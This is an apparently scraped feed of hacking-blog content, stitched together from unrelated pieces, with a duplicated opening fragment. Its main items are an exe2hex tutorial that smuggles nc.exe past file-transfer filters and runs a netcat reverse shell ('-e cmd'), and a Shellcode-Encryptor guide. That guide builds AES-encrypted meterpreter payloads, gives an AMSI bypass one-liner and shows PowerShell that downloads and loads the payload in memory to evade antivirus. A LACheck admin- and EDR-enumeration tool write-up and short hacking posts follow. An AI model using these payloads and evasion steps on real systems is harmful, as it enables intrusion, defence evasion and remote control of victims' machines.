3JRwLCifoa773h3GLutk7kxxh3xJuDrvN-ibtyy-qqd3wkIpE-f_AAM1m4EgVl7yrJZ7tHyVIoRCvSukFxLTatfytZnRDDgzYtNPLOR7qCWu3S_ETW3l-GlRLB5gmSYcDn5rprgHC33VH-Q=s16000 Now, one can rename the file easily in victim machine using command prompt or copy it as a different extension (runnable script) and then run like following:<o:p copy nc.txt nc.cmd<o:p@echo off<o:pnc.cmd<o:pnc.exe 192.168.78.142 4444 -e cmd<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiIRw0SVn__nxISghOD9VPP1A06sCetGdiEolFsmwJsdP6JkQLR_73pQ2n-YRKAYRw4NOiSOkRxbIplNYm-UIRG0kTkYNFqnHc-nLTDPQbHsq8t_w5ysOwRb4RIsrzkBgK-CjUm-zZybWfIVcuZ4tmc5EUHWlIA5nx6ziwW9chRJljxIPm4mZmPG6VV1g=s16000 If you tried the above-mentioned methods, you must set up a listener on your kali machine and try to run this executable. As you could see, the EXE file is working properly!<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgLDH8GYZgvgPonaWCnoHdDAz8oiU5fAJR30BPQv8C05vfnQqty_V1WsxW4ft9st9yBOWigCnqArEQK5Q058AcxxaNqJbKPUBMhdmiXphsJkP3NSXpP43pkqiSiYgGgIYAaAWhEoqgrKcbA44cVsFzvHJAheLFmG_XotMWZikGVStQE3JA5xUgxoJaoTA=s16000 Conclusion<o:pOne sees many scenarios while pentesting where there are certain file upload/download filters either by proxy or WAF. We just presented a way to bypass those defense mechanisms using exe2hex. Hope you liked the article. Thanks for reading.<o:p

Hacking Articles
File Transfer Filter Bypass: Exe2Hex

IntroductionExe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can be restored into the original EXE file by using DEBUG.exe or Powershell. This script can then be executed at the victim machine to construct an exe again and execute it. This is helpful in advanced pentest scenarios where the system administrators have blocked transfer/download/upload/e-mail of EXE files. Pentesters can use this tool to bypass such filters. In this article, we demonstrate 4 such methods. Table of content* Background
* Exe2hex CMD script (PoSH method)
* Exe2hex URL encoded CMD script (PoSH method)
* Exe2hex BAT script (DEBUG.exe method)
* Exe2hex STDIN to CMD Script (PoSH method)
* Exe2hex TXT file (DEBUG and PoSH method)
* Conclusion BackgroundDEBUG.exe is a by default available executable in Windows that helps a user troubleshoot programs. It also has a feature where it can restore a series of hexadecimal strings into an executable file. The same can be achieved by Powershell. The methodology is very simple:

Step 1: Choose an EXE

Step 2: Compress it using UPX

Step 3: Use exe2hex to convert it into a file containing hexadecimal strings

Step 4: Transfer the file to the victim system

Step 5: Restore the file back to exe and execute

Let’s start by compressing an exe file. We will be using a tool called UPX.

https://blogger.googleusercontent.com/img/a/AVvXsEjyh4M9N3uVg0vhDlelzlEEiWQ1otcE_HfENLeOd_TC50XHz8TFTSdpwDVGRbMnChCEiyjzIAsgp2SUcx4zzkAZVDI8seVx4TblUmktY61EuAQhszOme1A00R_5Z-3tnid-S5APFOwjljnGZY3tF6g6i4bRYG0CepIjfVSRFwQ0kla3TZf_RPT6VKmzsw=s16000

As you can see there are many options to compress a file. We will be using -9 filter which provides 50% compression on average.
upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe
https://blogger.googleusercontent.com/img/a/AVvXsEj8S7vY0XHsI5sbXQoS-3_0uSBIOhRjcQYVfXwRSTH-Ebdo1sHySpL_nd7DShEmBFBX4eTL9_NaTqjnEonBmDb5pgwyHtKl0OWkLBk0oTvjY5_7xUbB3onetSOxzuyAnG2-x6sMeWj3klUY4FaQ-7Zu2Usk6_NKdxPXT_gq4Lh2N41dQ1fLs0j-NcYcGw=s16000

Note: You can achieve the same thing by using -cc filter with the exe2hex tool. Exe2hex CMD script (PoSH method)Now that our exe has been compressed, we can use exe2hex to convert it into a cmd file. This cmd file has multiple hexadecimal strings as you can see below. A parameter P has been created which appends these converted hex strings into a temporary file called “nc.hex”
exe2hex -x nc.exe -p nc.cmd
head nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEgmh5Ms1cde5ErdNTQmtTvxk87lNaGasSsBmTA0oZIvrs-YUvHh_6QFjgS7XNdt8ZVObcyBK1062LMik9AJhxPUra2xwXQQaJixW2-i5WXiQwN3N7Imkd6wlVnp686HTCyp-oO4KpJW7dOXYtVG3v09xSCXIUrt4j2c4PmTyD8zXY6tZetY2h-cfqOjew=s16000

At the end of the file, you can see a powershell command which is restoring the hex strings back into exe file and removing nc.hex
tail -n 3 nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEg5w04aOLUNCrY9bm5O7OZjBdsGDnKqf73mA5il-kP4VnDecdRC9TR94-_eX_ndf0MjD214ELPt-HuV94UZXMWQPdvghzxbpux8g5T8k01wMf5tuvLSzLfFgFF0SK2rf5vqvY68lfzi7OfBHnoHm6v785pT3NdY3GfuvurHy1ftAxQEHJgg-oDJtsrwCQ=s16000 Exe2hex URL encoded CMD script (PoSH method)What we saw above can be repeated with a bonus. The same script can also be URL encoded with the -e option.
exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEirKp_eUg1_EdU2jI7ZdUueWzeijFbXeHdc66AMGCP3zPRXj0rCLgarQLpTwTPQM5AXbEDzXCDeMU8h84aHWvYa11kXgckiMXYMqEQ9xQsLHhPuv39rHG0XElzZLfbMRl8HPkxnUYHwCgDk2WxMXQv2zqSmG7MB3LgVz76BeiFn1JBZdDytZ2iPmIU8vQ=s16000

Now, we can transfer this CMD file to the victim system and execute it using the command prompt. As you may observe after the execu[...]

tion has finished, a nc.exe file is generated at the compressed size.
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEgz6u_Kzt8wfYCJx4M4e-qYC9m7EpQE6-vCeV1gv2UiHW47svkDe-B17V6xfSHF5ZQblVUFRZoj8-HbExqI9BMu5PVWvttd2qrxrfh0YdgUCxMZMBy0-NALgCg-epERi3xs10oM9dvA_v6PVOCFMZ0ack8WrpRgXIE_sdUKOG_7Fx_sdbi-T6q45YQXVw=s16000 Exe2hex BAT script (DEBUG.exe method)So far we have seen how powershell can be used to restore hex into exe file. In the same way, DEBUG.exe file can be used. Exe2hex can generate a bat file like so:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
https://blogger.googleusercontent.com/img/a/AVvXsEhGjQjuRL9f-Rs5v4G4jIuAVVZt7w8B11CWNmB7ZU9LVjStGaLlCILtTjM8UqrGAd1K2gMKtYpuPV5Ck19bH7F1LgCEfioib9yURj3q6fFLittSaIOlszr04o4EmMNM29Wbz3Uzu8s5iQU8t8f_3Svr7yqVvrs_CkdXi8DwjLjt-ASp1T4GzZLWhv2xsw=s16000

After that, you can run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe’s path in environment variables. As you can see, nc.exe has become an executable now.

https://blogger.googleusercontent.com/img/a/AVvXsEg3jEpnbR8iQMqvTHP2YvcNIKLTLKzfyux-MXC-nyUn9NKLKfRlU11xvpA6-UIpjLiaPcPYe7N_RjANxeqIAn008rgWkGU-bDl6K9iLJuTbhQDs_07HLQZmHp5o4y0IDFkPrQI3vW3zPKuf81k8fPopxZ7eS7pq-Ez2nZd8gdUxwsQbJ2MNaBuXHrEa4g=s16000 Exe2hex STDIN to CMD Script (PoSH method)The tool can also take input from STDIN. This could be useful in scenarios where an executable is available on the internet and it needs to be downloaded using tools such as curl/wget and filters are in place to block that.
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiGsmb3n3Sy0HqS45wl9NNiw-009VA3w4j1heDH4voVX7XScfdp0paOpRDx4jScmaL3g-u_4W5coNqxE9oNloqC6THaxUdETRNaH3DXNiLcukL57qpLX4rzv_As_pFtDTdLQkyXoeKdEyRkhILQ-GaPHWKuBuyebybjOHbJpRy6XNooH_uNyzK__siQWA=s16000

The -s filter is responsible for reading from STDIN. The cmd file generated with this option looks a bit different as the file generated has the name “binary.hex” and the final exe file as “binary.exe”

https://blogger.googleusercontent.com/img/a/AVvXsEiltN0EU2kj3y4WJ8GApg7jJgvXgTJM9RJNw6OYRNvaOAx1J0y-v6QzsepGipaFxdY_lrz6XgJdOZyUNhBZGpU6Qw6H0SNiVLSl-O3DBieGAKflmo1VmkX-xNqCmT4TuKxSJK6lir4w2Km_dbWK1vscNldVxNMfVUwoT82diSxuCX6mYlmxopnopVMoXw=s16000

It can be run now!

https://blogger.googleusercontent.com/img/a/AVvXsEiY6NFaIZBlAqu09EnH55omoNuMQ62nY0Ga4AP94MMdLoYN2yU3Jvr3scJXKocQJrf5bgX46XVymEP-mQab3_vXGvICMo-6OArva48mZ27e4wcbHAkz1mu9C5o03IQ-KnH55_yCldjEXfXDimMxYXfC1rtpVTdJK7KRRcvDmKVwGFG3zY6U85M2wutywA=s16000 Exe2hex TXT file (DEBUG and PoSH method)We saved the best for last. The tool can also convert EXE files in hexadecimal strings txt files. This is highly useful for situations where advanced filters are in place.
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgesKIBgliot6TTl5-t5_Vla-ElY9uuxMyxmjm8Xk1EC2rLQkkZFddzzJUo2R0ef6I2NtP31jUixo3BZSj3IpiPGtXKdd6OxpOYuoBisRYcgFAHvOABp7o8Xx31iAmuxn_eEvRSKwi7LMbSjorKFXpcpjUiIO6jmaYvO_LPhT-jc6oZ0ql69EtY6a8JRQ=s16000

One other filter is the -l filter that specifies the number of bytes in each line.
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEiQy8UGd974YgebtPCN7_gdfftDvj_18y99ntvDGh4aXTb3JRwLCifoa773h3GLutk7kxxh3xJuDrvN-ibtyy-qqd3wkIpE-f_AAM1m4EgVl7yrJZ7tHyVIoRCvSukFxLTatfytZnRDDgzYtNPLOR7qCWu3S_ETW3l-GlRLB5gmSYcDn5rprgHC33VH-Q=s16000

Now, one can rename the file easily in the victim machine using a command prompt or copy it as a different extension (runnable script) and then run like following:
copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiIRw0SVn__nxISghOD9VPP1A06sCetGdiEolFsmwJsdP6JkQLR_73pQ2n-YRKAYRw4NOiSOkRxbIplNYm-UIRG0kT[...]

kYNFqnHc-nLTDPQbHsq8t_w5ysOwRb4RIsrzkBgK-CjUm-zZybWfIVcuZ4tmc5EUHWlIA5nx6ziwW9chRJljxIPm4mZmPG6VV1g=s16000

If you tried the above-mentioned methods, you must set up a listener on your kali machine and try to run this executable. As you could see, the EXE file is working properly!

https://blogger.googleusercontent.com/img/a/AVvXsEgLDH8GYZgvgPonaWCnoHdDAz8oiU5fAJR30BPQv8C05vfnQqty_V1WsxW4ft9st9yBOWigCnqArEQK5Q058AcxxaNqJbKPUBMhdmiXphsJkP3NSXpP43pkqiSiYgGgIYAaAWhEoqgrKcbA44cVsFzvHJAheLFmG_XotMWZikGVStQE3JA5xUgxoJaoTA=s16000 ConclusionOne sees many scenarios while pentesting where there are certain file upload/download filters either by proxy or WAF. We just presented a way to bypass those defense mechanisms using exe2hex. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post File Transfer Filter Bypass: Exe2Hex appeared first on Hacking Articles.

hacking: security in practice
First steps to hacking?

So for educational purposes, what are some tips for hacking for beginners? What would you recommend to learn first. Obviously people say get Comptia A+ certified first or even the CEH (which btw is expensive as $h1T!) but i’m curious to know what steps YOU took in order to understand hacking. What was the path you took that made it easy to understand to apply it? If there are any good courses list them down below as well. Thank you!

submitted by /u/mgmako
[link] [comments]

hacking: security in practice
How do I hacked the mf that hacked ME

Instagram account got hacked, he wants 2k for it back. Would love to just send him back a picture of his IP address and some details about where he lives. Any advice?

submitted by /u/Firm_Hour_5702
[link] [comments]

Kali Linux Tutorials
Shellcode-Encryptor : A Simple Shell Code Encryptor/Decryptor/Executor To Bypass Anti Virus

Shellcode-Encryptor is a simple shell code encryptor/decryptor/executor to bypass anti virus.

Note: I have completely redone the work flow for creating the bypass, I have found injecting the binary into memory using PowerShell as the most effective method.

Purpose

To generate a .Net binary containing base64 encoded, AES encrypted shellcode that will execute on a Windows target, bypassing anti-virus. Instructions

Use the meterpreter_encryptor.pyto create the encrypted base64 shellcode:

root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[+] Generating MSFVENOM payload…
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec…
[+] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg

Take the key and shellcode and insert it into ProcessInjector.cs

// decrypt the base64 payload
string payload = “sZkMii [etc…]”;
string key = “fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec”;

Compile the C# code into an executable (e.g., metInject.exe) and serve it via a web server.

Inject the executable into a remote PowerShell process:

AMSI bypass

$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like “iutils”) {$c = $b}};$d = $c.GetFields(‘NonPublic,Static’);ForEach($e in $d) {if ($e.Name -like “itFailed”) {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest “http://192.168.1.228/metInject.exe”).Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType(‘ProcessInjection.Program’, [Reflection.BindingFlags] ‘Public, NonPublic’).GetMethod(‘Main’, [Reflection.BindingFlags] ‘Static, Public, NonPublic’);
$entryPointMethod.Invoke($null, (, string[]));

Hopefully you will have a nice meterpreter shell. Help

./meterpreter_encryptor.py -h
usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]
optional arguments:
-h, –help show this help message and exit
-l LPORT, –lport LPORT
The local port that msfconsole is listening on.
-i LHOST, –lhost LHOST
The local host that msfconsole is listening on.
-p PAYLOAD, –payload PAYLOAD
The payload to generate in msfvenom.
-m METHOD, –method METHOD
The method to use: thread/delegate.
-k KEY, –key KEY The encryption key (32 chars).
-e ENCODER, –encoder ENCODER
The meterpreter encoder.
-f FORMAT, –format FORMAT
The format to output.

AV Scan Results

The binary was scanned using antiscan.me on 03/10/2021.
https://blogger.googleus[...]

ercontent.com/img/a/AVvXsEhjOYHRv2Burc28aF7MfwN2kZix__UnKMM3C2Y94zaOaJNzw_HAvQMJxPPQaP5IYdOTdhqYFsMXVKg1NWrHbNGO-X1TCbE44EzALaym5rWkjRdx20mhFZwWtkI8kJXy4zUsZc5Uo26-KVA2KYxjmA3n5hiuqq2bLmCb1MpmqoznJqZY4Gek7BEBtPrr=s1954 Download

Kali Linux Tutorials
LACheck : Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration

LACheck is a Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration.

Arguments

./LACheck.exe help _ _ _ | | /\ / | | | |
| | / \ | | | |_ _ | |
| | / /\ \ | | | ‘_ \ / _ \/ | |/ / | | / \ | || | | | / (| < |// _\ _|| ||___|___|_|_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:”OU=Special Servers,DC=example,DC=local” /verbose /bloodhound /user:bob@contoso.lab
Local Admin Checks:
smb – Attempts to access C$ share
rpc – Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm – Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session
Arguments:
/bloodhound – generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc – specify domain controller to query (if not ran on a domain-joined host)
/domain – specify domain name (if not ran on a domain-joined host)
/edr – check host for EDR (requires smb, rpc, or winrm)
/logons – return logged on users on a host (requires smb, rpc, or winrm)
/registry – enumerate sessions from registry hive (requires smb)
/services – return services running as users (requires smb, rpc, or winrm)
/socket – send bloodhound output to TCP socket instead of writing to disk
ex: “”127.0.0.1:8080″”
/targets – comma-separated list of hostnames to check
/threads – specify maximum number of parallel threads (default=25)
/user – specify username that collection was run under (useful during token manipulation)
/validate – check credentials against Domain prior to scanning targets (useful during token manipulation)
/verbose – print additional logging information
/ou – specify LDAP OU to query enabled computer objects from
ex: “OU=Special Servers,DC=example,DC=local”
/ldap – query hosts from the following LDAP filters:
:all – All enabled computers with ‘primary’ group ‘Domain Computers’
:dc – All enabled Domain Controllers (not read-only DCs)
:exclude-dc – All enabled computers that are not Domain Controllers or read-only DCs
:servers – All enabled servers
:servers-exclude-dc – All enabled servers excluding Domain Controllers or read-only DCs

Execute Assembly

execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose

Output

[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs…
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[session] WEB01 – contoso\WEB01$ (svcadmin)
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[rdp] WEB01 – contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 – contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP[...]

-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com – Access denied.
[!] SMB on DEV02.contoso.com – Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 – Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 – The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.

WinRM Authentication

As seen in the above example output, attempting to check WinRM on the host at IP address 10.10.10.10will error due to the WinRM client not attempting to authenticate to a host via IP address.

Use hostnames when attempting to check WinRM Access. Specifying Targets

The /targets, /ldap, and /ouflags can all be used together or separately to generate a list of hosts to enumerate.

All hosts returned from these flags are combined and deduplicated before enumeration starts. Bloodhound

LACheck supports writing AdminTo and Session collected into json output that can be uploaded to BloodHound

This output is only meant to augment an existing BloodHound collection with updated Administrative privileges for a single user and Sessions collected from hosts that Administrative privileges have been identified

The /bloodhoundswitch will write a randomly-named encrypted zip file to disk which can be downloaded, extracted, and uploaded to BloodHound /user

BloodHound requires resolving users and computers to SIDs. Due to impersonation techniques such as Cobalt Strike’s make_tokenand kerberos_ticket_use, LACheck may not be able to accurately determine the user context for a collection. The /userarguement is required to supply LACheck with the user principal name (format = samaccountname@domain.tld) of the context it is ran under in order to accurately correlate the collection information. /socket

BloodHound output can be sent to a TCP socket instead of being written to disk.

If the TCP connection fails, BloodHound output will be written to disk.

In a Cobalt Strike beacon, TCP connections can be forwarded from a host back to the operator’s local machine using rportfwd_local:

rportfwd_local 8888 127.0.0.1 8888

An operator may then pipe the output of the TCP stream to a local file using netcat:

nc -lvnp 8888 > computers.json

Enumeration Methods Performance Summary
SMBWMIWinRM/edrfastfastfast/logonsfastfastfast/servicesslowfastfast/registryslowfast–
– = not implemented SMB /edr

Inspired by harleyQu1nn’s EDR.cna script

Directory.GetFiles Method returns a list of drivers from:

* \\host\C$\windows\system32\drivers
* \\host\C$\windows\sysnative\drivers

Drivers are looked up against a list of known drivers used by EDR vendors. Example Output ran as svcadmin user

[EDR] WEB01 – Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 – no EDR found (svcadmin)

/logons

NetWkstaUserEnum returns a list of users with interactive, service and batch logons

WTSEnumerateSessionsA returns a list of RDP sessions on a host

WTSQuerySessionInformationA retrieves detailed information for each RDP session Example Output ran as svcadmin user

[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[session] WEB01 – contoso\WEB01$ (svcadmin)
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[rdp] WEB01 – contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input:[...]

00:00:00:00 (svcadmin)

/registry

Iterate through SIDs in \\Computer\HKEY_USERS\hive, attempts to access Volatile Environmentfor each SID, and retrieves values from USERDOMAINand USERNAMEkeys.

This method requires the Remote Registry service to be running on a remote host. If it is not:

1. initial start type of the Remote Registry service is recorded
2. start type is changed to Automatic3. Remote Registry service is started
4. registry hives are enumerated
5. Remote Registry service is stopped
6. start type is reverted to its initially recorded value

Due to the potentially multi-step process to enumerate each host, this method may be slower compared to alternative techniques. smb /logonsis faster Example Output ran as svcadmin user

[registry] WEB01 – contoso\devadmin (svcadmin)

/services

ServiceController.GetServices Method retrieves a list of services on a host

Each service is queried to determine the user it is configured to run as.

Due to each service having to be queried individually, this method may be slower compared to alternative techniques. wmi /servicesis faster Example Output ran as svcadmin user

[service] WEB01 – devadmin@consoso.com Service: secretsvc State: Running (svcadmin)

WMI /edr

Inspired by harleyQu1nn’s EDR.cna script

CIM_DataFile class returns a list of drivers from:

* \host\C$\windows\system32\drivers
* \host\C$\windows\sysnative\drivers

Drivers are looked up against a list of known drivers used by EDR vendors. Example Output ran as svcadmin user

[EDR] WEB01 – Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 – no EDR found (svcadmin)

/logons

Win32_LoggedOnUser class returns a list of logged on sessions Win32_LogonSession class returns detailed information for each session Example Output ran as svcadmin user

[session] WEB01 – contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 – contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)

/registry

Queries the Win32_UserProfile class to retrieve SIDs for user profiles on a system.

The EnumKey method of the StdRegProv class retrieves the \\Computer\HKEY_USERS\hive and attempts to access Volatile Environmentfor each returned SID to retrieve values from the USERDOMAINand USERNAMEkeys. Example Output ran as svcadmin user

[registry] WEB01 – contoso\devadmin (svcadmin)

/services

Queries the Win32_Service class to retrieve the name, user, and state of services Example Output ran as svcadmin user

[service] WEB01 – devadmin@consoso.com Service: secretsvc State: Running (svcadmin) Download

Hacking on Medium
PicoCTF \\ Obedient Cat \\ General Skills

https://cdn-images-1.medium.com/max/618/1*-4ByvVzNW1HhlSdEajuexA.png
Write-up for PicoCTF challanges

Continue reading on Medium »

Hacking on Medium
CISA and the FBI have issued warnings about the possibility of data wiping attacks

https://cdn-images-1.medium.com/max/768/1*q8f9uPqlsEXl9lVSkK9Qlg.jpeg
Data wiping assaults targeting Ukraine could spread to targets in other countries, according to the Cybersecurity and Infrastructure…

Continue reading on Medium »

Hacking on Medium
How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File

https://cdn-images-1.medium.com/max/836/1*KSlIAwWlPGWplbZiJ0z5PA.png
Leaker posted full zip with password

Continue reading on Medium »

Password Reset to Admin Access

While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token…Continue reading on Medium »
Read more...

Password Reset to Admin Access

While testing a web application that used a web GUI over the top of an API, I noted the calls to the API where authorized with a JWT token…Continue reading on Medium »
Read more...